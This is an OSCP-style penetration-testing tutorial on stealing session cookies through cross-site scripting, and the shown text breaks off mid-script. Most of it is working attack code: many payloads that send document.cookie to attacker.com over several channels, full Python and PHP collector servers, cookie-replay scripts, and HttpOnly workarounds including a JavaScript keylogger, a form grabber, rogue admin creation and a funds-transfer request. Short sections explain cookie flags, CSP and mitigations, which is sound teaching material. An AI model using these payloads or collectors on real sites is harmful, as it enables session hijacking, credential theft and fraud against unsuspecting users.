Cookie Theft via XSS
Table of Contents
- Introduction
- Cookie Structure Deep Dive
- How Cookies Enable Session Management
- Cookie Theft via XSS - The Attack Chain
- Exfiltration Payloads
- Cookie Collector Server
- When Cookie Theft Fails
- Workarounds When HttpOnly Is Set
- Detection Methodology
- Mitigation Strategies
- OSCP Exam Tips and Lab Scenarios
- Practice Exercises
- References and Further Reading
Introduction
Cookie theft via Cross-Site Scripting (XSS) is one of the most impactful client-side attacks in penetration testing and the OSCP exam. When an application is vulnerable to XSS, an attacker can execute arbitrary JavaScript in the victim’s browser context. If the application’s session cookies lack the HttpOnly flag, the attacker can read and exfiltrate these cookies, effectively hijacking the victim’s session.
Why This Matters for OSCP
- High Impact: Session hijacking via cookie theft grants immediate access to the victim’s authenticated session
- Common in Labs: Many OSCP lab machines have vulnerable web applications with XSS flaws
- Privilege Escalation Path: Stealing admin cookies can lead to full system compromise
- Combines with Other Attacks: Often used after initial XSS discovery, combined with social engineering
Attack Flow Overview
Attacker Vulnerable App Victim Browser
| | |
|-- 1. Craft XSS Payload --------->| |
| | |
| |<-- 2. Victim visits page --------|
| |-- 3. Execute JS --------------->|
| | |
| |<-- 4. document.cookie ----------|
|<-- 5. Exfiltrate Cookie ---------| |
| | |
|-- 6. Use stolen cookie --------->| |
|<-- 7. Access victim's session ---| |
Cookie Structure Deep Dive
What Is a Cookie?
An HTTP cookie (also called web cookie, browser cookie, or simply cookie) is a small piece of data sent from a website and stored in the user’s browser. When the user browses the same website, the browser sends the cookie back to the server, allowing the server to remember information about the user’s session.
The Set-Cookie Response Header
When a server wants to set a cookie, it sends a Set-Cookie header in the HTTP response:
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123def456; Domain=.example.com; Path=/; Secure; HttpOnly; SameSite=Strict; Max-Age=3600
Content-Type: text/html
Cookie Attributes - Complete Reference
| Attribute | Description | Default | Security Impact | Example |
|---|---|---|---|---|
Name=Value |
The cookie name and its value | Required | The value may contain sensitive session identifiers | session_id=abc123 |
Domain |
The domain for which the cookie is valid | Current host | Controls cookie scope across subdomains | Domain=.example.com |
Path |
The URL path the cookie applies to | / of setting page |
Limits cookie to specific paths | Path=/admin |
Expires |
Absolute expiration date (GMT) | Session cookie | Controls cookie lifetime | Expires=Wed, 09 Jun 2026 10:18:14 GMT |
Max-Age |
Relative expiration in seconds | Session cookie | Alternative to Expires | Max-Age=3600 |
Secure |
Cookie only sent over HTTPS | Not set | Prevents cookie transmission over HTTP | Secure |
HttpOnly |
Cookie inaccessible to JavaScript | Not set | Prevents XSS cookie theft | HttpOnly |
SameSite |
Controls cross-site sending | Lax (modern browsers) |
Mitigates CSRF attacks | SameSite=Strict |
Detailed Attribute Analysis
1. Name and Value
session_id=abc123def456ghi789
- Name: Identifier for the cookie (e.g.,
session_id,PHPSESSID,JSESSIONID) - Value: The actual data stored (often a session token)
- Encoding: Values should be URL-encoded; special characters need encoding
- Size Limit: Typically 4096 bytes per cookie (varies by browser)
Security Consideration: Session IDs should be:
- Cryptographically random
- Sufficiently long (at least 128 bits of entropy)
- Unpredictable
- Regenerated after authentication
2. Domain
Domain=.example.com
- Controls which domains can receive the cookie
- Leading dot (
.) means all subdomains - Without leading dot, only the exact domain
Domain=.example.com -> Valid for example.com, www.example.com, api.example.com
Domain=www.example.com -> Valid ONLY for www.example.com
Security Risk: Setting Domain=.example.com exposes cookies to all subdomains, including potentially less secure ones.
3. Path
Path=/admin
- Restricts the cookie to URLs starting with this path
- Default is the path of the page that set the cookie
- More restrictive paths reduce exposure
Path=/ -> Cookie sent with ALL requests to the domain
Path=/admin -> Cookie sent only to /admin/* URLs
Path=/api/v1 -> Cookie sent only to /api/v1/* URLs
4. Expires and Max-Age
Expires=Wed, 09 Jun 2026 10:18:14 GMT
Max-Age=3600
- Expires: Absolute date/time in GMT format (Netscape format)
- Max-Age: Relative seconds from now (RFC 2109)
- If neither is set, the cookie is a session cookie (deleted when browser closes)
- If both are set,
Max-Agetakes precedence
Security Consideration:
- Shorter lifetimes reduce the window of opportunity for attackers
- Session cookies are more secure than persistent cookies
- Implement proper session timeout mechanisms
5. Secure Flag
Secure
- When present, the cookie is only transmitted over HTTPS
- Does NOT protect against XSS (JavaScript can still access the cookie over HTTPS)
- Prevents cookie interception on unencrypted connections
Secure cookie over HTTPS: Protected from network sniffing
Secure cookie over HTTP: Cookie NOT sent at all
Important: The Secure flag alone does NOT prevent XSS-based cookie theft. It only prevents transmission over insecure channels.
6. HttpOnly Flag (CRITICAL)
HttpOnly
- The most important flag for preventing cookie theft via XSS
- When set, the cookie is inaccessible to JavaScript’s
document.cookie - Only sent with HTTP requests to the server
- Available since IE6 SP1, Firefox 2, Opera 9.5, Chrome, Safari 4.1
// Without HttpOnly - VULNERABLE
console.log(document.cookie);
// Output: "session_id=abc123; user=admin"
// With HttpOnly - PROTECTED
console.log(document.cookie);
// Output: "" (HttpOnly cookies are excluded)
Security Impact: This is the PRIMARY defense against XSS-based cookie theft. If HttpOnly is set, the attacker cannot directly read the session cookie via JavaScript.
7. SameSite Attribute
SameSite=Strict
SameSite=Lax
SameSite=None
Controls whether cookies are sent in cross-site contexts:
| Value | Behavior | Use Case |
|---|---|---|
Strict |
Never sent in cross-site requests | Highest security, may break functionality |
Lax |
Sent with top-level GET navigation | Default in modern browsers, good balance |
None |
Always sent (requires Secure) |
Cross-site functionality needed |
Note: SameSite primarily mitigates CSRF, not XSS. It does not prevent cookie theft via XSS on the same site.
Viewing Cookies in Browser DevTools
Chrome/Edge: F12 -> Application -> Cookies
Firefox: F12 -> Storage -> Cookies
Key information visible:
- Cookie name and value
- Domain and path
- Size
- HTTP (HttpOnly flag)
- Secure flag
- Session or expiration date
- SameSite attribute
How Cookies Enable Session Management
Session Management Flow
1. User logs in with credentials
Client --> POST /login {username: "admin", password: "password123"} --> Server
2. Server validates credentials and creates session
Server creates: session_id = random_token()
Server stores: session_data[session_id] = {user: "admin", role: "administrator"}
3. Server sends session cookie
Server --> Set-Cookie: session_id=random_token; HttpOnly; Secure; Path=/ --> Client
4. Client stores cookie and sends with subsequent requests
Client --> GET /dashboard (Cookie: session_id=random_token) --> Server
5. Server validates session and responds
Server looks up: session_data["random_token"] -> {user: "admin", role: "administrator"}
Server --> 200 OK (Dashboard HTML) --> Client
Common Session Cookie Names
| Technology | Default Cookie Name |
|---|---|
| PHP | PHPSESSID |
| Java (Tomcat) | JSESSIONID |
| ASP.NET | .ASPXAUTH |
| Django | sessionid |
| Ruby on Rails | _rails_session |
| Express.js (custom) | Usually connect.sid or custom |
| WordPress | wordpress_logged_in_XXX |
Session Cookie Characteristics
A typical session cookie contains:
- A unique, random session identifier
- No sensitive data in plaintext (data stored server-side)
- References server-side session storage
Example session cookie value:
a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
The server maintains a mapping:
Session Store:
{
"a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6": {
"user_id": 42,
"username": "admin",
"role": "administrator",
"login_time": "2026-09-01T10:00:00Z",
"last_activity": "2026-09-01T10:30:00Z"
}
}
Cookie Theft via XSS - The Attack Chain
Prerequisites
- XSS Vulnerability: The application must have a reflected, stored, or DOM-based XSS vulnerability
- Non-HttpOnly Cookie: The session cookie must NOT have the
HttpOnlyflag set - Network Access: The attacker must be able to receive the exfiltrated cookie (own server, webhook, etc.)
Attack Steps
Step 1: Identify XSS Vulnerability
Find an input point that reflects user input without proper sanitization:
Vulnerable URL:
http://target.com/search?q=<script>alert(1)</script>
Vulnerable Form:
http://target.com/profile
POST: bio=<script>alert(1)</script>
Step 2: Verify Cookie Accessibility
Check if cookies are accessible via JavaScript:
<script>
// Test if cookies are accessible
alert(document.cookie);
</script>
If this displays cookie data, the cookies are NOT HttpOnly and can be stolen.
Step 3: Craft Exfiltration Payload
Replace the alert with an exfiltration mechanism:
<script>
// Instead of alert, send cookies to attacker's server
new Image().src = 'http://attacker.com/steal.php?c=' + document.cookie;
</script>
Step 4: Deliver the Payload
Methods of delivery:
- Reflected XSS: Craft malicious URL, send to victim via phishing
- Stored XSS: Inject payload into database, triggers when victim views content
- DOM XSS: Exploit client-side JavaScript manipulation
Step 5: Capture the Cookie
The attacker’s server receives the cookie and logs it:
GET /steal.php?c=session_id=abc123;user=admin HTTP/1.1
Host: attacker.com
Step 6: Use the Stolen Cookie
Import the cookie into the attacker’s browser and access the victim’s session:
Attacker's Request:
GET http://target.com/admin HTTP/1.1
Host: target.com
Cookie: session_id=abc123; user=admin
Exfiltration Payloads
1. Basic Image Tag Exfiltration (Most Common)
The simplest and most reliable method. Creates an invisible image request to the attacker’s server with the cookie in the URL.
<script>
new Image().src = 'http://attacker.com/collect.php?cookie=' + document.cookie;
</script>
Encoded for URL injection:
"><script>new Image().src='http://attacker.com/collect.php?c='+document.cookie</script>
Why it works:
- Image requests are fire-and-forget
- No user interaction required
- Works across all browsers
- The cookie is sent as a URL parameter
Server receives:
GET /collect.php?cookie=session_id=abc123%3Buser%3Dadmin HTTP/1.1
2. Inline Image Tag (HTML-based)
For contexts where you can inject HTML directly:
<img src="http://attacker.com/collect.php?c=" onerror="this.src='http://attacker.com/collect.php?c='+document.cookie">
Or using a data URI that always fails:
<img src="x" onerror="new Image().src='http://attacker.com/collect.php?c='+document.cookie">
3. New Image Object Method (JavaScript)
More control over the request:
<script>
(function() {
var img = new Image();
img.src = 'http://attacker.com/collect.php?cookie=' + encodeURIComponent(document.cookie);
img.onload = function() { console.log('Cookie sent'); };
img.onerror = function() { console.log('Cookie sent (error ignored)'); };
})();
</script>
Advantages:
- Can use
encodeURIComponentfor proper URL encoding - Can handle success/error callbacks
- Self-executing function avoids variable pollution
4. Fetch API Method
Modern approach using the Fetch API:
<script>
fetch('http://attacker.com/collect.php', {
method: 'POST',
mode: 'no-cors',
body: 'cookie=' + encodeURIComponent(document.cookie)
}).then(function() {
console.log('Cookie exfiltrated via Fetch');
}).catch(function(err) {
console.log('Fetch failed:', err);
});
</script>
Key Points:
mode: 'no-cors'is required for cross-origin requests- Cookie sent in POST body (not URL)
- More stealthy as it doesn’t appear in server access logs as a query parameter
- Limited response handling due to CORS
GET variant:
<script>
fetch('http://attacker.com/collect.php?c=' + encodeURIComponent(document.cookie), {
mode: 'no-cors'
});
</script>
5. XMLHttpRequest Method
Classic AJAX approach:
<script>
(function() {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/collect.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookie=' + encodeURIComponent(document.cookie));
})();
</script>
Cross-origin variant (older browsers):
<script>
(function() {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/collect.php?c=' + encodeURIComponent(document.cookie), true);
xhr.send();
})();
</script>
Note: Cross-origin XHR may be blocked by CORS policies. The image tag method is more reliable for cross-origin exfiltration.
6. navigator.sendBeacon (Survives Page Unload)
Critical for scenarios where the page might unload before exfiltration completes:
<script>
(function() {
if (navigator.sendBeacon) {
var data = new FormData();
data.append('cookie', document.cookie);
data.append('url', window.location.href);
data.append('timestamp', new Date().toISOString());
navigator.sendBeacon('http://attacker.com/collect.php', data);
} else {
// Fallback for older browsers
new Image().src = 'http://attacker.com/collect.php?c=' + encodeURIComponent(document.cookie);
}
})();
</script>
Why sendBeacon is superior:
- Guaranteed delivery even if page is unloading
- Asynchronous by design
- Does not delay page unload
- Uses POST method (cookie in body, not URL)
- Subject to rate limiting (prevents abuse)
Browser Support: All modern browsers (Chrome 39+, Firefox 31+, Edge 14+, Safari 11.1+)
7. Base64 Encoded Stealth Exfiltration
Encode the cookie to avoid URL encoding issues and appear more innocuous:
<script>
(function() {
var cookie = document.cookie;
var encoded = btoa(cookie); // Base64 encode
new Image().src = 'http://attacker.com/collect.php?d=' + encoded;
})();
</script>
Server-side decoding:
import base64
received_data = request.args.get('d')
decoded_cookie = base64.b64decode(received_data).decode('utf-8')
Double encoding for extra stealth:
<script>
(function() {
var cookie = document.cookie;
var encoded = btoa(encodeURIComponent(cookie));
new Image().src = 'http://attacker.com/collect.php?data=' + encoded;
})();
</script>
8. iframe-Based Exfiltration
Using an invisible iframe to send data:
<script>
(function() {
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'http://attacker.com/collect.php?c=' + encodeURIComponent(document.cookie);
document.body.appendChild(iframe);
})();
</script>
POST data via iframe:
<script>
(function() {
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://attacker.com/collect.php';
form.target = iframe.name;
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'cookie';
input.value = document.cookie;
form.appendChild(input);
iframe.appendChild(form);
form.submit();
})();
</script>
9. DNS-Based Exfiltration (Advanced)
When HTTP is blocked but DNS is allowed:
<script>
(function() {
var cookie = document.cookie;
// Split cookie into chunks for DNS labels
var chunks = cookie.match(/.{1,63}/g);
chunks.forEach(function(chunk, index) {
var img = new Image();
img.src = 'http://' + encodeURIComponent(chunk) + '.attacker.com/exfil?id=' + index;
});
})();
</script>
Note: This is more complex and less reliable but useful in restricted environments.
10. Complete Stealth Payload with Fallbacks
Production-grade exfiltration with multiple fallback mechanisms:
<script>
(function() {
var cookie = document.cookie;
var url = window.location.href;
var userAgent = navigator.userAgent;
var timestamp = new Date().toISOString();
var payload = {
cookie: cookie,
url: url,
ua: userAgent,
time: timestamp,
screen: screen.width + 'x' + screen.height,
lang: navigator.language
};
var data = JSON.stringify(payload);
// Method 1: sendBeacon (preferred)
if (navigator.sendBeacon) {
var formData = new FormData();
formData.append('data', data);
navigator.sendBeacon('http://attacker.com/collect.php', formData);
return;
}
// Method 2: Fetch API
if (typeof fetch !== 'undefined') {
try {
fetch('http://attacker.com/collect.php', {
method: 'POST',
mode: 'no-cors',
body: 'data=' + encodeURIComponent(data)
});
return;
} catch(e) {}
}
// Method 3: Image tag (fallback)
try {
new Image().src = 'http://attacker.com/collect.php?d=' + encodeURIComponent(data);
} catch(e) {}
})();
</script>
Payload Encoding for Different Contexts
HTML Context (direct injection)
"><script>new Image().src='http://attacker.com/c.php?c='+document.cookie</script>
Attribute Context (no quotes)
"><script>new%20Image().src='http://attacker.com/c.php?c='+document.cookie</script>
JavaScript Context (inside existing script)
';new Image().src='http://attacker.com/c.php?c='+document.cookie;//
Event Handler Context
"><img src=x onerror="new Image().src='http://attacker.com/c.php?c='+document.cookie">
Cookie Collector Server
Complete Python Implementation
Basic Collector (HTTP)
#!/usr/bin/env python3
"""
Cookie Collector Server for XSS Cookie Theft
Usage: python3 cookie_collector.py [port]
Default port: 8080
"""
import sys
import os
import base64
import html
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
from datetime import datetime
# Configuration
COLLECTOR_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
OUTPUT_DIR = "collected_cookies"
PIXEL_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "pixel.gif")
# Create output directory
os.makedirs(OUTPUT_DIR, exist_ok=True)
# 1x1 transparent GIF pixel (base64 encoded)
TRANSPARENT_PIXEL = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'
class CookieCollectorHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
"""Custom logging to suppress default output"""
timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(f"[{timestamp}] {self.client_address[0]} - {format % args}")
def do_GET(self):
"""Handle GET requests with cookie parameters"""
parsed_url = urlparse(self.path)
params = parse_qs(parsed_url.query)
# Extract cookie from various parameter names
cookie_value = None
for param in ['c', 'cookie', 'data', 'd', 'session', 'phpsessid']:
if param in params:
cookie_value = params[param][0]
break
if cookie_value:
self.log_cookie_theft(cookie_value, params)
# Return 1x1 transparent pixel
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.send_header('Content-Length', str(len(TRANSPARENT_PIXEL)))
self.end_headers()
self.wfile.write(TRANSPARENT_PIXEL)
def do_POST(self):
"""Handle POST requests with cookie in body"""
content_length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_length).decode('utf-8', errors='ignore')
# Parse form data
params = parse_qs(body) if body else {}
# Extract cookie
cookie_value = None
for param in ['c', 'cookie', 'data', 'd', 'session']:
if param in params:
cookie_value = params[param][0]
break
if cookie_value:
# Try to decode base64 if it looks encoded
try:
decoded = base64.b64decode(cookie_value).decode('utf-8')
if '=' in decoded or ';' in decoded:
cookie_value = decoded
except Exception:
pass
self.log_cookie_theft(cookie_value, params)
# Return 1x1 transparent pixel
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.send_header('Content-Length', str(len(TRANSPARENT_PIXEL)))
self.end_headers()
self.wfile.write(TRANSPARENT_PIXEL)
def log_cookie_theft(self, cookie_value, params):
"""Log the stolen cookie to file and console"""
timestamp = datetime.now()
date_str = timestamp.strftime('%Y%m%d_%H%M%S')
# Build log entry
log_entry = {
'timestamp': timestamp.isoformat(),
'source_ip': self.client_address[0],
'user_agent': self.headers.get('User-Agent', 'Unknown'),
'referer': self.headers.get('Referer', 'Unknown'),
'method': self.command,
'path': self.path,
'cookie': cookie_value,
'additional_params': {k: v[0] for k, v in params.items() if k not in ['c', 'cookie', 'data', 'd']}
}
# Print to console
print("\n" + "=" * 70)
print(" COOKIE THEFT DETECTED!")
print("=" * 70)
print(f" Time: {log_entry['timestamp']}")
print(f" Source IP: {log_entry['source_ip']}")
print(f" Referer: {log_entry['referer']}")
print(f" User-Agent:{log_entry['user_agent']}")
print("-" * 70)
print(f" Cookie: {log_entry['cookie']}")
print("=" * 70 + "\n")
# Write to file
output_file = os.path.join(OUTPUT_DIR, f"cookies_{timestamp.strftime('%Y%m%d')}.txt")
with open(output_file, 'a', encoding='utf-8') as f:
f.write(f"\n{'='*70}\n")
f.write(f"Timestamp: {log_entry['timestamp']}\n")
f.write(f"Source IP: {log_entry['source_ip']}\n")
f.write(f"Referer: {log_entry['referer']}\n")
f.write(f"User-Agent: {log_entry['user_agent']}\n")
f.write(f"{'-'*70}\n")
f.write(f"Cookie: {log_entry['cookie']}\n")
f.write(f"{'='*70}\n\n")
# Also save as JSON for programmatic access
json_file = os.path.join(OUTPUT_DIR, "cookies.json")
import json
try:
with open(json_file, 'r', encoding='utf-8') as f:
cookies_list = json.load(f)
except (FileNotFoundError, json.JSONDecodeError):
cookies_list = []
cookies_list.append(log_entry)
with open(json_file, 'w', encoding='utf-8') as f:
json.dump(cookies_list, f, indent=2, ensure_ascii=False)
def run_collector():
"""Start the cookie collector server"""
server_address = ('', COLLECTOR_PORT)
httpd = HTTPServer(server_address, CookieCollectorHandler)
print("=" * 60)
print(" COOKIE COLLECTOR SERVER")
print("=" * 60)
print(f" Listening on: http://0.0.0.0:{COLLECTOR_PORT}")
print(f" Output directory: {os.path.abspath(OUTPUT_DIR)}")
print("=" * 60)
print(" Waiting for cookies...")
print("=" * 60 + "\n")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n\nServer stopped by user.")
httpd.server_close()
if __name__ == '__main__':
run_collector()
HTTPS Collector (with self-signed certificate)
#!/usr/bin/env python3
"""
HTTPS Cookie Collector Server
Usage: python3 cookie_collector_https.py [port]
"""
import sys
import ssl
import os
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
from datetime import datetime
COLLECTOR_PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 443
TRANSPARENT_PIXEL = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b'
class HTTPSCookieCollectorHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse(self.path)
params = parse_qs(parsed_url.query)
cookie_value = params.get('c', [None])[0] or params.get('cookie', [None])[0]
if cookie_value:
print(f"\n[COOKIE] {datetime.now()} | {self.client_address[0]} | {cookie_value}\n")
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.send_header('Content-Length', str(len(TRANSPARENT_PIXEL)))
self.end_headers()
self.wfile.write(TRANSPARENT_PIXEL)
def run_https_collector():
server_address = ('', COLLECTOR_PORT)
httpd = HTTPServer(server_address, HTTPSCookieCollectorHandler)
# Create self-signed certificate if not exists
cert_dir = os.path.dirname(os.path.abspath(__file__))
cert_file = os.path.join(cert_dir, 'server.crt')
key_file = os.path.join(cert_dir, 'server.key')
if not os.path.exists(cert_file):
os.system(f'openssl req -x509 -newkey rsa:4096 -keyout {key_file} -out {cert_file} -days 365 -nodes -subj "/CN=attacker.com"')
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_file, key_file)
print(f"HTTPS Cookie Collector on port {COLLECTOR_PORT}")
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
if __name__ == '__main__':
run_https_collector()
Quick PHP Collector
For quick deployment on any web server:
<?php
// collect.php - Simple PHP Cookie Collector
$cookie = $_GET['c'] ?? $_POST['c'] ?? $_GET['cookie'] ?? $_POST['cookie'] ?? '';
if (!empty($cookie)) {
$log_entry = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown',
'referer' => $_SERVER['HTTP_REFERER'] ?? 'Unknown',
'cookie' => $cookie
];
// Log to file
$log_file = 'collected_cookies.txt';
$log_line = json_encode($log_entry) . "\n";
file_put_contents($log_file, $log_line, FILE_APPEND);
// Also output to console if running from CLI
error_log("COOKIE THEFT: " . $log_line);
}
// Return 1x1 transparent pixel
header('Content-Type: image/gif');
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
?>
Setting Up the Listener
Using Python Collector
# Start the collector on default port 8080
python3 cookie_collector.py
# Start on custom port
python3 cookie_collector.py 4444
# Start HTTPS collector
python3 cookie_collector_https.py 443
Using Netcat (Quick and Dirty)
# Simple listener
nc -lvnp 8080
# With logging
nc -lvnp 8080 > captured_cookies.txt
Using Python One-Liner
# Quick HTTP server with logging
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import sys
class H(BaseHTTPRequestHandler):
def do_GET(self):
p = parse_qs(urlparse(self.path).query)
c = p.get('c',[''])[0]
if c: print(f'\n[COOKIE] {self.client_address[0]}: {c}\n')
self.send_response(200)
self.send_header('Content-Type','image/gif')
self.end_headers()
self.wfile.write(b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b')
def log_message(self, format, *args): pass
HTTPServer(('', 8080), H).serve_forever()
"
Parsing Received Cookies
Extracting Session ID from Cookie String
def parse_cookie(cookie_string):
"""Parse a cookie string into a dictionary"""
cookies = {}
for cookie in cookie_string.split(';'):
cookie = cookie.strip()
if '=' in cookie:
name, value = cookie.split('=', 1)
cookies[name.strip()] = value.strip()
return cookies
# Example usage
received = "session_id=abc123; user=admin; role=administrator"
parsed = parse_cookie(received)
print(parsed)
# Output: {'session_id': 'abc123', 'user': 'admin', 'role': 'administrator'}
Using Stolen Cookie in Requests
import requests
# Stolen cookie
stolen_cookie = "session_id=abc123def456"
# Method 1: Using cookies parameter
response = requests.get(
"http://target.com/admin",
cookies={"session_id": "abc123def456"}
)
# Method 2: Using headers
response = requests.get(
"http://target.com/admin",
headers={"Cookie": "session_id=abc123def456"}
)
# Method 3: Using a session object
session = requests.Session()
session.cookies.set("session_id", "abc123def456", domain="target.com")
response = session.get("http://target.com/admin")
print(response.status_code)
print(response.text)
When Cookie Theft Fails
1. HttpOnly Flag Prevention
The Primary Defense
When the HttpOnly flag is set on a cookie, JavaScript cannot access it via document.cookie:
Set-Cookie: session_id=abc123; HttpOnly; Secure; Path=/
// This will NOT include HttpOnly cookies
console.log(document.cookie);
// Output: "non_http_only_cookie=value" (session_id is excluded)
Detection: Try to access document.cookie and check if the session cookie is present.
Impact: Direct cookie theft via XSS is impossible. The attacker must use alternative techniques.
2. Secure Flag Limitations
The Secure flag restricts cookie transmission to HTTPS only:
Set-Cookie: session_id=abc123; Secure
Limitations:
- Cookie is NOT sent over HTTP connections
- If the attacker’s collector is HTTP-only, the cookie won’t be transmitted
- The XSS payload must exfiltrate to an HTTPS endpoint
Workaround: Use an HTTPS collector server:
// Must use HTTPS if cookie has Secure flag
new Image().src = 'https://attacker.com/collect.php?c=' + document.cookie;
Note: The Secure flag does NOT prevent XSS cookie theft if the attacker has an HTTPS endpoint. It only prevents transmission over unencrypted HTTP.
3. Content Security Policy (CSP) Blocking
CSP can restrict script execution and external requests:
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'
How CSP Blocks Exfiltration:
| CSP Directive | Blocks | Bypass Difficulty |
|---|---|---|
script-src 'self' |
Inline scripts, external scripts | Medium-High |
img-src 'self' |
Image-based exfiltration | Medium |
connect-src 'self' |
Fetch/XHR to external domains | Medium |
frame-src 'self' |
iframe-based exfiltration | Medium |
default-src 'self' |
All resources from external domains | High |
CSP Bypass Techniques:
// If CSP allows inline scripts but blocks external resources
// Try to exfiltrate via allowed channels
// If img-src allows data: URIs
new Image().src = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7';
// If script-src allows specific domains
// Use those domains as relay points
CSP Reporting: Modern browsers send CSP violation reports:
{
"csp-report": {
"document-uri": "http://target.com/vulnerable",
"violated-directive": "script-src 'self'",
"blocked-uri": "inline",
"script-sample": "new Image().src='http://attacker.com"
}
}
4. SameSite Restrictions
The SameSite attribute affects cross-site cookie sending:
Set-Cookie: session_id=abc123; SameSite=Strict
Impact on Cookie Theft:
| SameSite Value | XSS on Same Domain | XSS on Different Domain |
|---|---|---|
None |
Cookie accessible | Cookie accessible |
Lax |
Cookie accessible | Cookie accessible (for XSS) |
Strict |
Cookie accessible | Cookie accessible (for XSS) |
Important: SameSite does NOT prevent XSS cookie theft when the XSS is on the same domain. It primarily mitigates CSRF attacks.
5. Other Preventive Measures
Subresource Integrity (SRI)
<script src="external.js" integrity="sha384-..." crossorigin="anonymous"></script>
Prevents loading tampered external scripts.
X-Frame-Options
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Prevents iframe-based attacks but doesn’t stop direct XSS.
Cookie Rotation
If the application rotates session cookies frequently, stolen cookies may expire quickly.
Workarounds When HttpOnly Is Set
When HttpOnly prevents direct cookie access, use these alternative techniques:
1. Performing Actions on Behalf of the User
Even without accessing the cookie, XSS allows executing actions in the victim’s authenticated context:
Admin Panel Actions
<script>
// Create a new admin user
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/create_user', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('username=hacker&password=hack123&role=admin');
</script>
Data Exfiltration
<script>
// Steal sensitive data from the page
var sensitiveData = document.getElementById('secret-info').innerText;
new Image().src = 'http://attacker.com/steal.php?data=' + encodeURIComponent(sensitiveData);
</script>
Account Modification
<script>
// Change victim's email/password
var form = document.createElement('form');
form.method = 'POST';
form.action = '/account/change_email';
var input1 = document.createElement('input');
input1.type = 'hidden';
input1.name = 'email';
input1.value = 'attacker@evil.com';
var input2 = document.createElement('input');
input2.type = 'hidden';
input2.name = 'password';
input2.value = 'newpassword123';
form.appendChild(input1);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
</script>
2. CSRF for State-Changing Operations
Use XSS to perform CSRF-like actions:
<script>
// Transfer funds
var xhr = new XMLHttpRequest();
xhr.open('POST', '/bank/transfer', true);
xhr.withCredentials = true; // Include cookies automatically
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('to_account=attacker_account&amount=10000');
</script>
Key Point: xhr.withCredentials = true ensures the victim’s cookies (including HttpOnly ones) are sent with the request.
3. Keylogging to Capture Credentials
Install a JavaScript keylogger to capture login credentials:
<script>
(function() {
var keys = '';
var loginUrl = '/login';
var isOnLoginPage = window.location.href.indexOf(loginUrl) !== -1;
document.onkeypress = function(e) {
keys += e.key;
// When Enter is pressed, send captured keys
if (e.key === 'Enter') {
new Image().src = 'http://attacker.com/keylog.php?k=' + encodeURIComponent(keys) + '&url=' + encodeURIComponent(window.location.href);
keys = ''; // Reset for next capture
}
};
// Also capture form submissions
var forms = document.getElementsByTagName('form');
for (var i = 0; i < forms.length; i++) {
forms[i].onsubmit = function() {
var formData = new FormData(this);
var data = '';
for (var pair of formData.entries()) {
data += pair[0] + '=' + pair[1] + '&';
}
new Image().src = 'http://attacker.com/formgrab.php?d=' + encodeURIComponent(data);
};
}
})();
</script>
4. Session Fixation Attacks
Force the victim to use a known session ID:
<script>
// Set a known cookie value (if the application doesn't regenerate session ID)
document.cookie = 'session_id=known_fixed_value; Path=/; Domain=.target.com';
// Redirect victim to login page
window.location.href = '/login';
// After victim logs in, attacker uses the known session ID
new Image().src = 'http://attacker.com/fixed.php?status=cookie_set';
</script>
Note: Modern applications regenerate session IDs after login, making this attack less effective.
5. DOM Manipulation for Data Theft
<script>
(function() {
// Extract all form data
var forms = document.querySelectorAll('form');
var allData = {};
forms.forEach(function(form, index) {
var formData = new FormData(form);
allData['form_' + index] = {};
